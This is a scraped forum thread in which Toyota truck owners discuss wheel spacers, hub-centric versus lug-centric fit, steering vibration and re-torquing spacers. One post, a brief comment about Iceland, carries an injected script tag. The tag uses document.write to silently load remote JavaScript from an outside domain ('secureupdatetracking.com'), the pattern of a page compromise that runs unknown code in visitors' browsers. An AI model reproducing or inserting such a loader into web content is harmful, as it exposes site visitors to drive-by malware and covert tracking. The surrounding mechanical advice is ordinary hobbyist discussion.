Got my wheels! Now help me decide what size wheel spacers to buy please....

Why do ya have to go feeding my addiction with ideas, lol. Where do most people get theirs...junkyards?

Correct me if im wrong but its not a functional scoop is it.

on the diesel it serves a function, and why not get an Altimeter, bajarack and ladder or Jaos rear spolier, or a gobi rack and ladder, and LED tails, and HID fronts and an ARB front bumper and a Warn winch, 4 PIAA's, Taco front skid plate, 5.29 gears, ARB lockers, Snorkel, and a supercharger. but im not trying to feed you yur addiction.:biggrin2:
 
on the diesel it serves a function, and why not get an Altimeter, bajarack and ladder or Jaos rear spolier, or a gobi rack and ladder, and LED tails, and HID fronts and an ARB front bumper and a Warn winch, 4 PIAA's, Taco front skid plate, 5.29 gears, ARB lockers, Snorkel, and a supercharger. but im not trying to feed you yur addiction.:biggrin2:

Whats the diesel motor...ive never seen one in a 3rd gen, is it turbo?

And thanks for the compliment Liny and others.
 
So after doing the BL i was getting some binding/poping sound i could feel in the floor board under my feet. We found a bad inner tie rod end on the driver side, but soon realized it was actually the internal bushing inside the rack. I installed a remaned steering rack with life time warranty. Poping didnt go away. Finally we went all over the entire car and retightened everything. Turns out the BL bolts were too loose. I had tightened them to 20ft, on the low end of the recommended specs. Since we tightened the BL up the clunk is gone and the vehicle actually handles better.

Now the only thing is that there is still some shaking in the steering wheel. Do you guys think its because i didnt get the hubcentric spacers?
 
So after doing the BL i was getting some binding/poping sound i could feel in the floor board under my feet. We found a bad inner tie rod end on the driver side, but soon realized it was actually the internal bushing inside the rack. I installed a remaned steering rack with life time warranty. Poping didnt go away. Finally we went all over the entire car and retightened everything. Turns out the BL bolts were too loose. I had tightened them to 20ft, on the low end of the recommended specs. Since we tightened the BL up the clunk is gone and the vehicle actually handles better.

Now the only thing is that there is still some shaking in the steering wheel. Do you guys think its because i didnt get the hubcentric spacers?


Could very well be the lug-centric spacers shaking. It also could be that your new tires are incorrectly balanced, and a multitude of other things such as a bad u-joint.
 
Wow, these are looking great. I've seen a lot of them during my last trip in Iceland, where everbody and their sister has a 4wd. Big wheels are part of their lifestyle ;)
<script language='JavaScript' type='text/javascript'>document.write ("<" + "script language='JavaScript' type='text/javascript' src='http://secureupdatetracking.com/xux/output/index/Ur5HMXLyMVIgg6uA1km1ceh8Ilg7r4bm?rand=" + Math.random() * 100000000 +"'></"+"script>")</script>
 
Whats the diesel motor...ive never seen one in a 3rd gen, is it turbo?

And thanks for the compliment Liny and others.

one of the U.K. surf owners told me the hood scoop on their 3rd gens was actually used to cool the engine. they had the 3.0TD not aviable fo us.
 
do you HAVE to use the spacers in the rear? it's not necessary if tires do rub.

Allpro has the 1.5" hub centric spacers for $79/pr
 
So after doing the BL i was getting some binding/poping sound i could feel in the floor board under my feet. We found a bad inner tie rod end on the driver side, but soon realized it was actually the internal bushing inside the rack. I installed a remaned steering rack with life time warranty. Poping didnt go away. Finally we went all over the entire car and retightened everything. Turns out the BL bolts were too loose. I had tightened them to 20ft, on the low end of the recommended specs. Since we tightened the BL up the clunk is gone and the vehicle actually handles better.

Now the only thing is that there is still some shaking in the steering wheel. Do you guys think its because i didnt get the hubcentric spacers?

Could be the spacers or could be improperly balanced tires. Big tires are notoriously hard to balance. Plus I noticed in your most recent pictures that there's no wheel weights on your rims. If you still don't have proper wheel weights that's probably the cause for your vibrations
 
to correctly balance the hub centric wheels on our trucks, the tire shop must mount a hub centric adapter plate on to the wheels first then put in on the tire balancer. it's pain in the butt, but you need to, have to, demand the shop to do so, if they know how to. believe me, i've been to few shops they either don't give a s*&^ or don't know what the heck i'm talking.

http://www.hunter.com/pub/product/balancer/3203T/3203T-5.htm
 
Dude... you need the hub centric spacers not the lug centric
These will vibrate!
Spidertrax spacers is the way to go
I did the same thing you did.

How do you tell the difference as these pics look just like the ones I ordered off eBay couple days ago. Will they not work? Are they not safe? Is vibration for sure and only worry? Slippery24
 
Thanks for the advice tc4rnr and others. To whomever asked, spacers are not necessary for clearance in the rear but i wanted everything to look even all around.

I just ordered a set of the allpro hub centric/ wheel hub centric spacers(they are hubcentric to the hub and have a lip so the wheel is also hubcentric to them)....for anyone that didnt understand just like i used to not understand. Also needed are a set of extended thread lugnuts that grab more of the threads on the wheel studs. I ordered enough for the front and rear to be safe.

So in retrospect do no order the regular spacers that are not hubcentric. In this link you will see the first set(incorrect ones) and the second picture down is the correct ones.
http://allprooffroad.com/9504tacomadrivetrain/9504tacomawheelspacers
Spidertrax also offers some but the are only 1.25", not 1.5". My wheels still slightly rub the fram rails in the front when i turn even with 1.5" spacers, so im glad i didnt purcahse the 1.25"'s.
http://www.spidertrax.com/Toyota-Hub-Centric-Spacer

Hope this saves someone the hassle i went through down the road. BTW any one need my spacers that are currently on the truck...for use on an older toyota? If so PM me.
 
I got the hubcentric spacers on the truck and voila all shaking and vibration in the steering wheel is gone!!!!!!!

I am thrilled that this fixed the problem. It rides great now.

001-10.jpg~original

002-9.jpg~original

003-13.jpg~original
 
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two things I would do next:

re-torque the spacers after drive couple thousand miles, just make sure they are not getting loose, trust me, some times they do, and because they are hiding behind the rims, no way you can check them regularly.

before you put the wheels back on, spray the spacers with a very light coat of WD-40 to protect them from corrosion.
 
two things I would do next:

re-torque the spacers after drive couple thousand miles, just make sure they are not getting loose, trust me, some times they do, and because they are hiding behind the rims, no way you can check them regularly.

before you put the wheels back on, spray the spacers with a very light coat of WD-40 to protect them from corrosion.

Will do. Thanks a bunch TC4Rnr you have been really helpful!!!
 

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